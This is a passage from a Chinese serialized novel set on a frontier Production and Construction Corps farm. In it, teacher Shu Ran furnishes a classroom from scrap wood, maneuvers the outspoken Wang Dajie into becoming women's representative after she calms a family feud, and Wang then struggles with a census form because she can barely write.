回到连队,她把木料卸在教室后面。王大姐和几个家属围过来看,都皱眉头:“这都是些啥呀,破破烂烂的,能做啥?” “能做的多了!”舒染信心满满,“锯开了,刨平了,拼拼凑凑,就是一张桌子。” 她请钱师傅和会木工的职工开始做,几天后,当二十多套课桌椅被搬进新教室,整齐地排列起来时,孩子们欢呼着冲进去,迫不及待地坐在属于自己的位置上。 舒染站在讲台前,看着下面坐得满满当当的教室,虽然桌椅高低不平,孩子们大的大小的小,但每个人的眼睛里都亮晶晶的。 她拿起一根粉笔,在那块新黑板上写下了一组成语——“齐心协力”。 她转过身,用粉笔点了点那四个字。 “同学们,认识这四个字吗?” 大点的孩子,像石头、栓柱,还有阿迪力,都努力地辨认着,小声地念:“齐……心……” “对,齐心协力!”舒染声音清亮,“咱们的新教室,就是这四个字最好的证明!” 她走下讲台,手指拂过粗糙的桌面:“看这张桌子,它的腿,可能是从团部仓库一张破床板上锯下来的。”她又拍了拍另一张桌子的面,“这块板,说不定以前是个木头箱子。” 孩子们好奇地摸着那些材质不一、颜色深浅不同的木头,上面甚至还能看到原来的钉眼和划痕。 “还有你们屁股底下的凳子,”舒染笑着说,“有的是咱们连里木匠叔叔用边角料拼的,有的是家里爷爷奶奶用旧家具改的。它们不一样,也不够漂亮。” 她走回讲台前,目光扫过全班:“但是,它们现在紧紧地拼在一起,变成了我们能写字、能看书的课桌椅!这就是‘齐心协力’!就像咱们盖这间教室一样,好多人,出力的出力,出主意的出主意,哪怕只是递了一块砖,和了一锹泥,都算数!劲儿往一处使,就能把看起来不可能的事办成!” 孩子们似懂非懂,但都听得非常认真。阿迪力看着自己面前那张用旧门框和木板钉成的桌子,用手摸了摸,眼神里多了点不一样的东西。 “以后,”舒染继续说,“咱们在这间用大家齐心协力盖起来的教室里,用这些齐心协力做出来的桌子上课。希望大家也能记住这四个字。学习上互相帮助,生活上互相照顾,就像这些桌子腿一样,抱成团,才站得稳,才能学习知识!” “老师!”小丫忽然举起手,奶声奶气地问,“那……那我的桌子会和春草姐姐的桌子分开吗?” 舒染笑了:“不会!它们会一直在一起,陪着你们一起长大!” 放学后,孩子们大多都跑了,只剩下值日生还在打扫。舒染看着那些虽课桌椅,心里盘算着下一步。 王大姐走了进来,打量着教室,啧啧称赞:“还真让你给弄成了!虽然看着花花绿绿的,但真挺像样!” “都是大家伙儿一起凑的。”舒染笑道,“大姐,还有个事想跟您商量。” “啥事?你说。” “桌椅是有了,但孩子们写字的本子铅笔都快用完了。供销社那边也紧俏,我想着……能不能组织家属们搞点副业?比如捻点毛线、编点筐子、或者做点鞋垫什么的,攒多了拿到团部集市上换点钱,家里有孩子的还能给孩子们买文具。” 王大姐眼睛一亮:“这主意好啊!反正冬闲时候长,我们妇女们凑一起也有个营生,还能给家里添补点!这事我看行!我去跟她们说道说道!” 舒染看着王大姐风风火火离开的背影,心里踏实了不少。她知道,只要给大家一个明确的目标和看得见的好处,这股齐心协力的劲头就能一直延续下去。 新教室落成后,孩子们在新教室里读书写字,声音都比以往响亮了不少。那面国旗每周一早上升起,周五下午降下,成了连队一道风景。 舒染白天忙着教学,晚上还得备课、批改作业,忙得脚不沾地。 但她发现,连队里有些细微的变化,似乎总绕不开一个人——王大姐。 这天傍晚,舒染刚把最后几个孩子送走,正准备回地窝子啃个冷馍,就听见家属区那边传来一阵吵闹声,夹杂着女人的哭嚷和孩子的尖叫。 她皱了皱眉,循声走过去。只见张桂芬家门口围了几个看热闹的妇女,里头张桂芬正和一个瘦高个的女人拉扯着,地上掉着个破了口的瓦盆,菜叶撒了一地。张桂芬的儿子铁蛋吓得躲在门后哭。 “咋了这是?”舒染挤进去问。 旁边看热闹的李秀兰小声快嘴说道:“是为晾衣服的地方。孙家媳妇非说张嫂子家的晾衣绳占了她家地方,把她刚洗的床单弄脏了,上来就把张嫂子腌菜的盆给砸了!” 那瘦高个的孙家媳妇嗓门尖利:“就是占了我家地儿!说了多少回了!欺负我家男人不在跟前是不是?” 张桂芬气得脸通红,嘴笨说不过,只知道重复:“你胡说!那地儿一直是俺家用的!” 两人眼看又要撕扯到一起。周围人劝架的劝架,看热闹的看热闹,乱成一团。 就在这时,一个响亮的声音喝道:“都干啥呢!吃饱了撑的?为一个晾衣裳的地儿打成这样,也不怕人笑话!” 王大姐端着个簸箕,闻声就赶了过来。她把簸箕往地上一放,叉着腰就站到了两人中间。 “孙家的!”她先指着那瘦高个媳妇,“你男人是机务队的,常不在家,你有困难大家能帮衬。但你不能胡搅蛮缠!这地方是老早划好的,各家门前三尺,啥时候成你家的了?你床单掉地上脏了,怨风怨土怨你自己没夹紧,怨得着张桂芬?” 孙家媳妇被噎了一下,气势弱了点,但还嘴硬:“那……那她也占过道了!” “占没占道不是你说了算!”王大姐眼睛一瞪,又转向张桂芬,“还有你,桂芬!她砸你盆子是不对,但你不会好好说?上手拉扯啥?吓着孩子怎么办?一个破瓦盆值当俩大人动手?” 张桂芬被说得低了头,嘟囔着:“她先动手的……” “她动手你就有理了?”王大姐嗓门更高了,“都是一个连队锅吃饭的姐妹,抬头不见低头见,为这点屁事撕破脸,值当吗?铁蛋,别哭了!过来!” 她吼了一嗓子,铁蛋抽抽噎噎地过来。王大姐从口袋里摸出半块烤洋芋,塞到他手里:“拿去吃!看你这点出息!” 这一下,两个吵架的和看热闹的都安静了不少。 王大姐喘了口气,语气缓和下来:“孙家的,你床单脏了,我那儿还有块肥皂头,等会拿去再搓搓。桂芬,你这盆碎了,我那儿有个旧的,你先拿去用。” 她这么一说,孙家媳妇反倒不好意思了:“王大姐,不用……” 张桂芬也忙说:“俺也不要……” “行了行了,都少说两句!”王大姐一挥手,“这事就这么过了!以后谁再为鸡毛蒜皮的事闹,别怪我说话难听!都散了散了,赶紧回家做饭去!” 一场风波,就这么被王大姐连吼带劝地压了下去。众人议论着散去,看王大姐的眼神都多了几分服气。 舒染在一旁看着,心里暗暗佩服。这王大姐,泼辣是泼辣,但处事公道,能镇住场子,还会给台阶下,真是个天生做调解工作的料。 她走过去,帮着王大姐把撒在地上的菜叶收拾到破盆里。 “大姐,还是您有办法。”舒染笑着说。 “有啥办法?”王大姐叹口气,拍拍手上的土,“这帮老娘们儿,闲着就容易生事。都是些眼皮子浅的破事,可不管吧,就能闹大。唉,大家都是妇女,能帮就帮一帮。” 舒染心里一动,状似无意地说:“要是连里有个能专门管管这些家长里短、帮姐妹们解决点实际困难的人就好了。就像大姐您这样的,大家肯定听。” 王大姐愣了一下,随即摆摆手:“我?我可不行!一个大老粗,字认不得几个,哪能干那个?” “这跟认字多少关系不大,”舒染认真道,“关键是心正、公道、大家信服。您看刚才,石会计有文化,他咋不来劝?刘书记官大,他也不能天天盯着谁家晾衣服吧?这种事,就得您这样在姐妹里有威信的人来管。” 王大姐被她说得有点心动,又有点犹豫:“这……这能行吗?连里也没这规矩啊……” “事在人为嘛,”舒染狡黠地笑笑,“反正我觉得您挺合适。以后姐妹们有啥难处,您就多帮着问问,多帮着跑跑。大家得了好处,自然更念您的好。次数多了,领导们也就看见了。” 王大姐琢磨着舒染的话,没再反驳,只是嘀咕了一句:“再说吧……走咱们回吧。” 但舒染看得出来,她把话听进去了。《 》 55-60 第56章 过了两天, 舒染去连部交教学进度表,正好碰到刘书记和马连长在为一件事发愁。 原来是上面下了通知,要各连队加强对职工家属的思想工作和生活关怀, 最好能有个专人抓一下这方面工作,反映妇女诉求, 调解家庭邻里矛盾。 刘书记揉着额头:“这找谁合适呢?这工作琐碎,又容易得罪人……” 马连长也皱眉:“是啊,得有耐心, 还得压得住茬。” 舒染心里一动,假装不经意地接话:“书记,连长,我觉得王桂兰大姐可能挺合适。” “王桂兰?”刘书记抬起头, “她……识字不多啊。” “处理这些事, 光识字可能不够, ”舒染说, “得大家服气。前两天孙家和张桂芬为晾衣绳打架, 就是王大姐给劝开的, 处理得挺公道。平时家属区谁家有点事,也都爱找她拿个主意。她人热心, 也能吃苦。” 刘书记和马连长对视了一眼,似乎都在考虑。 “嗯……王桂兰同志确实群众基础不错。”刘书记沉吟着, “老马,你看呢?” 马连长点点头:“是个实在人。先让她试着干干, 看看效果?” 舒染心里暗喜, 知道这事有希望了。 她没再多说,交了表就安静地退了出来。 她并不觉得自己在算计什么。王大姐确实有这个能力,也需要一个更能体现她价值、也能给她带来些实际好处的位置。 而连队, 也需要这样一个妇女代表,这对自己以后开展工作,也只有好处没有坏处。 利人利己,何乐而不为呢? 舒染脚步轻快地朝着教室走去,心里已经开始盘算,下次见到王大姐,该怎么状似无意地透露一下连里正在考虑人选的消息,再给她鼓鼓劲。 舒染脚步轻快地朝着教室走去,心里那点盘着。 她可不是瞎热心,王大姐要是真能当上这个妇女代表,对她舒染只有好处没坏处。以后动员学生家长、组织个活动、甚至想给孩子们多争取点福利,都有个能说得上话,这叫双赢。 她琢磨着,这事不能做得太刻意,得让王大姐觉得是她自己悟出来的,是组织上的考虑,她舒染顶多就是递了个话。 下午,舒染瞅见王大姐正端着个簸箕,在地窝子门口晾晒干菜。她左右看看,没啥人注意,便慢悠悠地晃荡过去。 “大姐,晾菜呢?”舒染笑着搭话,顺手帮她把几根掉出来的萝卜条捡回簸箕里。 “可不是嘛,这秋菜得赶紧晒干了,冬天才好过。”王大姐手上忙活着,头也没抬。 舒染蹲下来,帮她挑拣品相不好的菜叶,“大姐,我刚从连部回来,交教学计划,好像听见刘书记和马连长在里头说话,提到了您的名字。” 王大姐手上的动作一顿,立刻抬起头,眼神里带着紧张和探究:“提我?提我干啥?是不是又有人说我啥了?” “哎哟,看您紧张的,”舒染笑起来,摆摆手,“不是坏事。我听着啊,好像是说上面要求加强家属工作什么的,刘书记想在咱们连里选个妇女代表。” 她故意皱起眉头,做出努力回忆的样子,“他‘王桂兰同志群众基础好像还不错,上次调解纠纷也挺利索’……马连长好像也附和来着,说您是能干。” 王大姐的眼睛一下子亮了,但又强装着不在意,低下头继续摆弄菜干:“领导们就是随口一说吧……我这人毛毛躁躁的,哪能干那个……” “哎,大姐,您可别妄自菲薄。”舒染立刻接话,语气真诚,“我觉得领导们眼光准着呢!您想啊,处理家属区这些鸡毛蒜皮的事,光有文化有什么用?就得像您这样,大家服气,说话有人听,办事也公道。上次您劝架,不就处理得挺好?我看啊,连里还真缺您这么个人物。” 她一边说,一边仔细观察着王大姐的表情,见她虽然还低着头,但嘴角已经忍不住微微上扬了。 舒染趁热打铁,声音压得更低,带着点推心置腹的意味:“不过大姐,这话我也就跟您私下说说。我估摸着啊,领导既然有这个考虑,说不定很快就会找您谈话或者让您先干点活试试。您可得有点心理准备,到时候拿出真本事来,让那些背后嘀咕的人都瞧瞧!” 王大姐抬起头,脸上泛着光,手在围裙上搓了搓:“真的?领导真能这么想?我……我能行吗?” “怎么不行?”舒染斩钉截铁,“您看您,生产上是能手,家务事也料理得清清楚楚,在家属里又有威信。这妇女工作,不就是把这些长处用对地方嘛!再说了,”她眨眨眼,“这可是为全连的姐妹们服务,是光荣的事!您要是干好了,以后谁不高看您一眼?家里有啥难处,说话也更有分量不是?” 这话可算是说到了王大姐心坎里。她男人牺牲得早,她一个人又没孩子,虽然因为是烈属受照顾,但总归少了点底气。要是真能当个协助员,能为大伙儿做点事,也能让自己腰杆更硬挺。 她重重地点点头,眼神变得坚定起来:“染妹子,你说得对!要是领导真信得过我,我王桂兰肯定好好干,绝不掉链子!绝不给……绝不给你丢人!”她差点说漏嘴,赶紧收住。 舒染心里暗笑,知道火候差不多了。她站起身拍拍手上的灰:“大姐您肯定没问题!我就随口这么一说,您心里有数就行。我还得回去备课,先走了啊。” 她说完转身就走,留下王大姐一个人站在原地,手里捏着根萝卜干,望着连部的方向,眼神发亮,显然已经开始琢磨上了。 舒染心情舒畅地往回走,种子已经埋下,就等它自己发芽了。接下来,她只需要偶尔浇点水,比如再透露点连里的最新动向,或者在外人面前多夸夸王大姐的群众威望就行了。 王大姐可能要被推举为妇女代表,以后管理妇女工作的风声,不知怎么就在连队里悄悄传开了。 支持的人有,觉得王大姐热心肠、压得住阵。但反对、嘀咕的人也不少。 这天傍晚,舒染正蹲在门口洗衣服,就听见隔壁地窝子两个妇女压低的议论声飘过来。 “……她王桂兰凭啥?不就是个烈属?就能耐了?” “就是,大字不识一箩筐,还能管事儿?别把咱们往沟里带!” “听说她以前在老家就跟婆婆处不好,才跟着男人跑兵团来的,这样的人能处理好别人家婆媳矛盾?” “我看呐,就是舒老师跟她关系好,在领导面前吹的风!” 舒染手下没停,她心里清楚,这最后一句恐怕才点到了关键。有人不服王大姐,更有人是冲着她舒染来的,觉得她一个外来户手伸得太长。 果然,没过两天,连部就传出消息,说妇女代表的人选要慎重考虑,暂时搁置了。据说有家属直接找到刘书记,表达了担忧。 去食堂打饭,旁边窗口的一个帮厨大姐阴阳怪气地跟别人说:“哟,现在有些人可是能耐了,都能在领导跟前递话了,以后咱们可得小心点,别得罪了人。” 舒染没吭声,接过那半勺菜。她心里清楚,这是冲着王大姐来的。 回地窝子,李秀兰悄悄告诉她:“舒老师,这两天好几拨人来找王大姐闲聊天,话里话外都是打听妇女代表的事,还说……说您手伸得长,想扶自己人。” 王大姐自己也憋着火,对着舒染叹气:“染妹子,我看这事黄了就黄了,省得闹心!为了个没影的差事,惹一身骚,不值当!” 舒染把手里的教案放下,正色道:“大姐,现在不是咱想不想干的问题了。是有人觉得咱们好欺负,觉得咱们离了他们就成不了事。这口气,您能忍?” 她凑近压低声音:“他们越这样,咱们越得把这事做成。还得让他们哑口无言。不然,以后我在连里说话更没人听,您想帮姐妹们做点事也更难。” 王大姐被她说得一愣,咬咬牙:“那你说咋办?” “等。”舒染眼神沉静,“等一个机会,一个他们办不好、离了您就不行的机会。到时候,不用咱们争,有人得来求您。” 机会很快就来了。 这天下午,课刚上到一半,连队东头突然爆发出女人叫骂声和摔砸东西的动静,间或还有孩子的哭声,闹得沸沸扬扬。这一下子就把学生们的注意力全勾走了。 “老师!外面打起来了!”坐在窗边的石头第一个喊出来,小脑袋使劲往外探。 “好像是赵婆婆和李小芹家!”另一个孩子补充道。 教室里顿时嗡嗡作响,孩子们都没心思念书了,个个伸长了脖子,竖起了耳朵。 舒染皱了皱眉,走到窗外。 赵婆婆和李小芹这对婆媳是连里有名的冤家,三天两头闹腾,但闹出这么大动静还是少见。 “安静!继续写字!”她维持了一下秩序,但效果甚微。 就在这时,连部通讯员小跑着出现在教室门口,气喘吁吁:“舒老师!舒老师!刘书记和马连长让你赶紧过去一趟!赵家婆媳打翻天了,领导拉不开,点名让你去帮忙劝劝!” 让她去劝架?这倒是新鲜。领导们这是病急乱投医,还是另有用意?舒染来不及细想,对班长石头交代了一句:“维持秩序,继续上课!”便快步跟着通讯员朝出事地点走去。 舒染心想,领导都被惊动了,看来事态不小,她对班长石头交代了一句:“带着大家继续朗读,不许出去!”然后快步朝出事地点走去。 赵婆婆是连里有名的恶婆婆,嘴刁刻薄;李小芹是她儿媳,性子烈,是出了名的刺头。这婆媳俩三天一小吵,五天一大闹,是全连都知道的老大难。 越靠近赵家,吵闹声越大。围观的职工家属已经里三层外三层,议论声、劝架声、孩子的哭声混作一团。 舒染挤进人群,只见场中一片狼藉:一个破了的瓦盆摔在地上,腌的酸菜撒得到处都是,半盆浑浊的油污泼在土里。赵婆婆披头散发地坐在地上,拍着大腿哭天抢地:“没法活了啊——领导你们可得给我做主啊!这个丧门星是要逼死我老太婆啊——” 李小芹则被她男人死死拉着胳膊,却还梗着脖子,眼睛通红地骂:“老不死的!天天找事!我跟你拼了!这日子不过了!” 刘书记和马连长站在中间,脸色铁青,显然已经束手无策,衣服都被扯皱了。 刘书记尽量保持着威严:“都住手!像什么样子!有话好好说!” 马连长也皱着眉头:“赵家婶子,你先起来!小李,你也少说两句!都是革命家属,要注意影响!” 赵婆婆一把抱住刘书记的腿:“书记!你给评评理!她是不是不孝?是不是恶媳妇?你们领导管不管?” 李小芹则冲着马连长喊:“连长!你听听她说的那是人话吗?我一天到晚累死累活,她还鸡蛋里挑骨头!这老刁婆就是欠收拾!” 两个领导被拉扯得狼狈不堪,劝解的话根本没人听,反而被当成了裁判,逼着站队。场面更加混乱不堪。 舒染挤在人群里看着。她知道,领导们擅长抓生产、讲政策,但处理这种泼辣妇人之间的矛盾,完全是外行,甚至可能越搅和越乱。 这时,她看见王大姐也闻讯赶来了,正叉着腰站在外围看着场中的闹剧,一副又想管又有点犹豫的样子。 舒染悄悄挤到她身边,用只有两人能听到的声音急速说道:“大姐,机会来了!现在就看您的了!连长书记都下不来台了,这事谁解决了,谁就有真本事!” 王大姐看了她一眼,眼神里还有点犹豫。 舒染轻轻推了她一把,“除了您,谁还能镇住这场面?您不上,今天就没法收场!以后谁还敢让您管事?” 刘书记这个时候发现了舒染,像是看到了救星,连忙招手:“舒老师!你快来!你是文化人,懂道理,快帮忙劝劝!这像什么话!” 马连长也赶紧说:“对对对,舒老师,你来做做她们思想工作!我们的话她们根本不听!” 舒染心里明白,领导哪里是让她来劝架?分明是觉得她一个女老师,或许能跟家属们说上话,至少缓解一下他们当下的尴尬。她成了领导们下台阶的梯子。 但她面上不露分毫,站在外围不动弹:“赵婶,李姐,都先消消气,别气坏了身子,吓着孩子。” 赵婆婆踮起脚指着舒染:“舒老师!你来得正好!你给评评理!她……” 李小芹也立刻调转枪口:“舒老师!你别听她胡说!她……” 舒染立刻意识到自己差点也成了被拉扯的裁判。 她提高声音,打断了双方的控诉,语气带着引导:“赵婶,李姐,你看书记连长都在这,这么多邻居也看着,咱们这样闹,不是让外人看咱们连队笑话吗?有什么话,不能心平气和地说?” 随即,目光扫过王大姐,“再说了,清官难断家务事。领导们管生产抓大事是一把好手,可这家家户户的鸡毛蒜皮、婆媳长短,哪是光讲大道理就能解决的?还得是像王大姐这样经验丰富的人,才真正懂得这里面的门道,能说到点子上。” 这话一出,所有人的目光都看向了王大姐。 王大姐被这突如其来的聚焦弄得一愣,但舒染的话无疑说到了她心坎里,也激起了她喜欢平事的心气。 舒染立刻趁热打铁,对着两位领导,语气诚恳又带着点无奈:“书记,连长,不是我不劝。实在是这种家务事,外人很难插嘴,劝不到根上。我看,真得请王大姐出来主持个公道。她的话,赵婶和李姐兴许还能听进去几分。” 刘书记和马连长正愁没法下场,一听这话,几乎异口同声: “对对对!王桂兰同志!你快来帮忙劝劝!” “王桂兰同志!这事你比较有经验,你来处理!” 王大姐被领导一点名,又被舒染的话架到了这个位置,也不再犹豫了。 她胸膛一挺,拨开人群就走了进来,“都闹够了吧!还不嫌丢人!” 这一嗓子中气十足,瞬间压过了现场的嘈杂,所有人都愣了一下,看着她。 王大姐几步走到场中,先不由分说地把赵婆婆抓着刘书记胳膊的手掰开,又把梗着脖子要往前冲的李小芹推开一步。 “扯扯拉拉像什么样子!放开领导!”她她先强行分开了撕扯的双方,然后她转向坐在地上的赵婆婆,眼睛一瞪,语气严厉:“赵婶子!你也是老军属、老职工了!有点老人样子行不行?躺地上打滚撒泼能给谁看?能解决啥问题?不怕小辈笑话?”” 不等赵婆婆回嘴,她又猛地转向李小芹:“还有你李小芹!喊打喊杀的,有理也变没理了!你想让全连都看你笑话?” 她这话各打五十大板,却莫名地让两人气焰都矮了一截。 王大姐不给她们反应的时间,语气放缓了些,但依旧强硬:“为啥吵?翻过来调过去,不就为那点油、那点菜、谁多干了一点活、谁少干了一点活吗?屁大点事!值得闹成这样?” 两人都没吭声,显然是说中了。赵婆婆和李小芹都下意识避开了她的目光。 王大姐开始给出台阶:“赵婶子,你儿媳妇白天在地里也是一把好手,晚上回来还得伺候你们老小,炒菜多放半勺油是想让干活的人吃点好的,有啥错?李小芹,你婆婆是过去苦日子过怕了,穷怕了,心疼东西,她抠抠搜搜攒下点啥,最后还不是贴补你们这个小家?你们倒好,不为这情分着想,倒为这半勺油一口菜闹得鸡飞狗跳!让外人看热闹!” 她这番话,一下子把争论从个人攻击,拔高到了情分和现实层面,甚至带点一致对外的意思。 赵婆婆和李小芹都愣住了,脸上的怒气被一种复杂的情绪取代。 王大姐趁热打铁,开始分配任务:“都别在这儿现眼了!赵婶子,你起来!我一会把我晒的野菜拿来点,还有秀兰给我的一点豆腐,你去给你大孙子炖个菜吃!小芹,你去打桶水,把这泼地上的油污冲干净!像什么话!看着就腌臜!” 她这命令下得自然,仿佛天经地义。 赵婆婆下意识地停止了哭嚎,嘟囔着“就知道使唤我……”,她显然是听到了点好处,也不再闹了,用手撑着地站了起来,拍打着身上的土,真的转身往家走了。 李小芹也撇撇嘴,虽然脸上还带着不忿,却也没再反驳,扭头对拉着她的男人没好气地说:“松开!没听见让去打水吗?” 王大姐三下五除二就把一场眼看无法收场的冲突化解了。虽然根本矛盾未必解决,但至少眼前的是平息了。 围观的众人看得目瞪口呆,随即低声议论起来,看王大姐的眼神都变了。 “我的老天爷,还得是王大姐!” “厉害啊!几句话就摆平了!” “领导讲半天大道理没用,王大姐一上来就搞定……” “这本事,真不是谁都有的……” 刘书记和马长这才松了口气,擦了擦额头的汗。 整个过程,舒染退后一步,安静地看着,适时感叹了一句:“唉,这种清官都难断的家务事,果然还得王大姐这种有经验、又压得住茬的人才能管啊。领导们也不容易。” 这话立刻落进了周围人的耳朵里。 “是啊是啊,讲大道理没用,领导哪会处理这个……” “领导没办法,王大姐一上来就行,还得是是真本事。” “以后这种事,看来还得找她……” 风波平息后,刘书记对王大姐说:“王桂兰同志,今天多亏你了!以后家属区这些事,你还得多费心!” 舒染在一旁,轻声接话,像是随口感慨:“是啊,有些事真是隔行如隔山。领导管大事,这些家长里短的琐事,还真得有王大姐这样的能人才行。” 刘书记和马连长深以为然地点了点头。 几天后,连部会议上,关于任命王桂兰同志为妇女代表的提议全票通过。 很快通知就正式贴了出来。这一次,再没有什么闲言碎语,几乎所有人都觉得,这个位置非王大姐莫属。 当正式的任命通知贴在连部门口的公告栏上时,王大姐看着自己的名字,手都有些抖。她找到舒染,眼睛有点红:“染妹子,我……” 舒染笑着握住她的手,真诚地说:“大姐,这是您自己挣来的。以后啊,这帮姐妹们的家长里短,可都指着您了。” 第57章 头几天, 王大姐劲头十足。她挎着个旧布包,里面装着个新本子和一支舒染送的铅笔——虽然用得还别扭,但架势十足。 每天一大早, 不用等连部哨响,她就精神抖擞地开始摸排。 第一站往往是豆腐坊。李秀兰正忙得满头汗, 点卤、压包,看见王大姐进来,撩起围裙擦擦手, 笑着问:“王代表,今天有啥指示?” “啥指示不指示的,”王大姐嗓门亮堂,“看看你有啥难处没?豆子还够用不?磨盘好使不?” “都好都好, ”李秀兰忙说, 随即又压低声音, “就是……就是上次领盐的账, 石会计说我记得不清楚, 让我重写, 我……”她脸上露出为难和羞愧。 “嗐!我当多大事儿!”王大姐一摆手,颇有点大将风度, “回头我去跟石会计说!咱秀兰一天忙得脚不沾地,哪能跟那些坐办公室的一样讲究?心里有数就行!”这话说得李秀兰心里暖烘烘的, 干活更有劲了。 从豆腐坊出来,王大姐又晃悠到家属区自留地那片。张桂芬正弯腰锄草, 看见她, 直起腰捶了捶背:“王大姐,吃了没?” “早吃过了!你这菜长得不赖啊!”王大姐蹲下,扒拉着绿油油的包包菜, “不过,是不是该上点肥了?” “可不是嘛!”张桂芬像是找到了知音,“跟俺家那口子说了几回了,他整天忙挖大渠,哪顾得上这个!” “男人都这德行!指不上!”王大姐一副深有同感的样子,“回头我问问机务队老陈,看能不能弄点发酵好的粪肥来,给你这韭菜救救急。” “哎哟!那可太谢谢大姐了!”张桂芬喜出望外。 她又去了几户有老人孩子的家里,问问缺不缺药,孩子闹不闹。遇到孙家媳妇在门口晾衣服,两人虽然还有点别扭,但也能点点头,算是打过招呼了。 王大姐甚至特意停下脚步,夸了句:“这床单洗得真透亮!”孙家媳妇愣了一下,脸上也缓和了些。 几天下来,王大姐感觉自己这妇女代表当得挺像样。大家确实买她的账,有啥鸡毛蒜皮都愿意跟她唠两句。她觉得自己就像连队妇女们的“大家长”,心里充盈着一种被需要的满足感。 然而,好景不长。这大家长的瘾还没过足,就被现实浇了一盆冷水。 这天下午,刘书记把她叫到连部,递给她一张纸和一本新的登记簿。 “桂兰同志啊,工作开展得不错,群众反映很好。”刘书记先肯定了一句,然后话锋一转,“不过呢,咱们工作还得更细致、更规范。这是上面新下的《家属情况统计表》,要求摸清底数。你尽快把咱们连队所有妇女的姓名、年龄、籍贯、文化程度、有啥特长、家里主要困难,都统计上来,登记造册。以后发补助、搞活动,也好有个依据。” 王大姐接过那表格和崭新的登记簿,那表格上密密麻麻的格子和小字,看得她眼晕。 “书记,这……这都得填上?”她迟疑地问。 “对,一项都不能落,这是工作要求。”刘书记语气温和但不容置疑,“你情况熟,人头也熟,这事交给你最合适。尽快弄好交上来。” 王大姐捏着那摞纸,感觉比扛一麻袋麦子还沉。她硬着头皮应承下来:“哎,行,书记,我尽快弄。” 接下来的两天,王大姐依旧挨家串户,但不再是闲唠嗑,而是带着任务去的。 她问得仔细,人家也答得琐碎。她努力想把听到的都记在脑子里:赵家媳妇三十二,山东临沂人,会绣花,家里婆婆常年咳嗽;钱家媳妇二十八,河南信阳的,干活麻利但孩子多,拖累大;孙家媳妇……哎,孙家媳妇叫啥来着?好像姓周? 信息像潮水一样涌进她的脑子,很快就搅成了一锅粥。她发现自己根本分不清“赵钱氏”和“钱赵氏”,记混了张家和李家的困难,甚至把好多人的年龄都搞串了。 晚上,她坐在自家地窝子的小炕桌旁,就着昏黄的煤油灯,摊开那本崭新的登记簿和那张让她头皮发麻的表格。她拿起铅笔,手有些抖。脑子里乱糟糟的信息争先恐后地往外涌,却不知道该如何落到那一个个方格里。 她认识几个字。比如自己的名字“王桂兰”,她能勉强写出来,虽然“桂”字的“木”和“土”总是分家,“兰”字的三横一竖也写得歪歪扭扭。她也认识“男”、“女”、“工”、“分”这些简单的字。 可表格上那些“籍贯”、“文化程度”、“特长”,对她来说就太陌生了,笔画多得让她眼晕。 她尝试着在登记簿上写。她先写下“赵”,这个字她见得多,会写。然后卡壳了,赵家媳妇叫啥?“淑慧”?“淑”字怎么写?她只记得好像有个“叔”字在里面,但旁边还有啥?“慧”字就更难了。 她憋红了脸,在纸上画了个“叔”,又在旁边胡乱添了几笔,自己看着都像鬼画符。 年龄?“三十二”?“三”和“十”她会,“二”也会,但组合起来该写在哪个格里?籍贯?“山东”?“山”字她会画,“东”字呢?她只记得大概模样,写出来左边一横长,右边一横短,中间一个疙瘩,不伦不类。 画着画着,她自己都糊涂了,这写的到底是赵家还是钱家? 挫败感一点点淹没她白天的自信和热情。她气得把铅笔一摔,揉乱了头发。 “咋了这是?跟谁置气呢?”一个声音从门口传来。是李秀兰,她刚忙完豆腐坊的活回来,手里还端着个空盆,显然是听到动静过来看看。 王大姐吓了一跳,赶紧用手扒拉了几下头发,试图恢复点形象,强扯出一个笑:“没……没啥,就是这笔不好使。”她下意识地想用身体挡住桌上那堆让她糟心的东西。 李秀兰好奇地走近,借着灯光看清了桌上摊开的表格和画满奇怪符号的纸,还有那根摔在一边的铅笔。她虽然识字不多,但也明白这肯定跟王大姐新当上的代表工作有关。 “是……是连里让填的表?”李秀兰小心翼翼地问,带着点同病相怜的理解,“这东西是挺磨人的……我每次记豆腐账也头疼。” 王大姐伸手把表格和本子胡乱合上,一把塞到炕桌最里面,用别的杂物盖住,脸上挤出一个不自然的笑:“没……没啥!就点破纸片子,瞎看看!” 这时,舒染也批改完作业回来了,一进门就感觉到地窝子里气氛不对。 李秀兰心思简单,没察觉那么多,还在笑着说:“妇女代表就是忙!刚上任就有大事了!” 王大姐心里像被针扎了一下,嘴上却打着哈哈:“啥大事……跑腿磨牙的活儿……那啥,你们快洗洗睡吧,我也累了,睡了睡了!” 她说着,竟直接脱了外衣,翻身面朝墙壁躺下了,明显是不想再交谈。 舒染和李秀兰对视了一眼。李秀兰有点莫名其妙,用口型问舒染:“咋了?”舒染轻轻摇了摇头,示意她别问。 夜里,舒染隐约听到对面炕上传翻来覆去的窸窣声,还有一声叹息。她知道,要强的王大姐肯定是遇到她自己解决不了,又羞于开口求助的难题了。 而且这难题,八成跟她刚当上的妇女主任有关。 第二天一早,王大姐又是第一个起床,依旧把自个儿收拾得利利索索,却掩不住眼下的乌青和眉宇间的郁结。 她没像往常一样跟舒染她们说笑,匆匆咬了两口冷窝窝头,就揣一本登记簿,直奔连部去找石会计了。 石会计的办公桌上堆满了账本报表,忙得头都不抬。 “王桂兰同志,你有啥事?” “石会计,麻烦你个事儿,这表……这上面的字,我不太认得全,你能不能……” 石会计从眼镜片上缘看了她一眼,叹了口气,接过表格,语速飞快地念了一遍:“姓名、年龄、籍贯、文化程度、特长、家庭主要困难。就这些,照着填就行。” “不是……我是说,这些格格里具体填啥……”王大姐还想细问。 石会计却已经不耐烦了,递回表格:“我这儿还一堆报表等着往团部送呢!这表不难,你找个识字的人问问就行。实在不行,你问舒老师去?”说完就又埋首账本里了。 王大姐捏着表格,尴尬地站在原地,脸上火辣辣的。她哪好意思天天去麻烦舒染? 统计工作陷入僵局,另一件糟心事接踵而至。 连里后勤通知,有一批处理下来的旧劳保手套和围裙,愿意要的家属下午去领。王大姐赶紧跑去通知。 她跑到赵卫东家,对着他媳妇——一位姓钱的妇女——说:“钱家的,下午去领手套围裙!” 对方愣愣地看着她:“王大姐,你找谁?” 王大姐也愣了:“你不是老钱家媳妇?” “俺男人是赵卫东!俺娘家姓钱!”赵卫东媳妇哭笑不得。 王大姐一拍脑门,闹了个大红脸,赶紧道歉,又匆匆往钱技术员家跑。结果钱技术员媳妇出工去了,没人在家。等下午分发物资的时候,钱技术员媳妇没领到,脸色很不好看,话里话外说王大姐办事不公,故意落下她。 王大姐百口莫辩,心里憋屈得要命。她一片热心,却因为记不清人名,闹出这种误会,还落了个埋怨。 傍晚,她垂头丧气地走进教室。舒染刚送走最后几个学生,正在擦黑板。 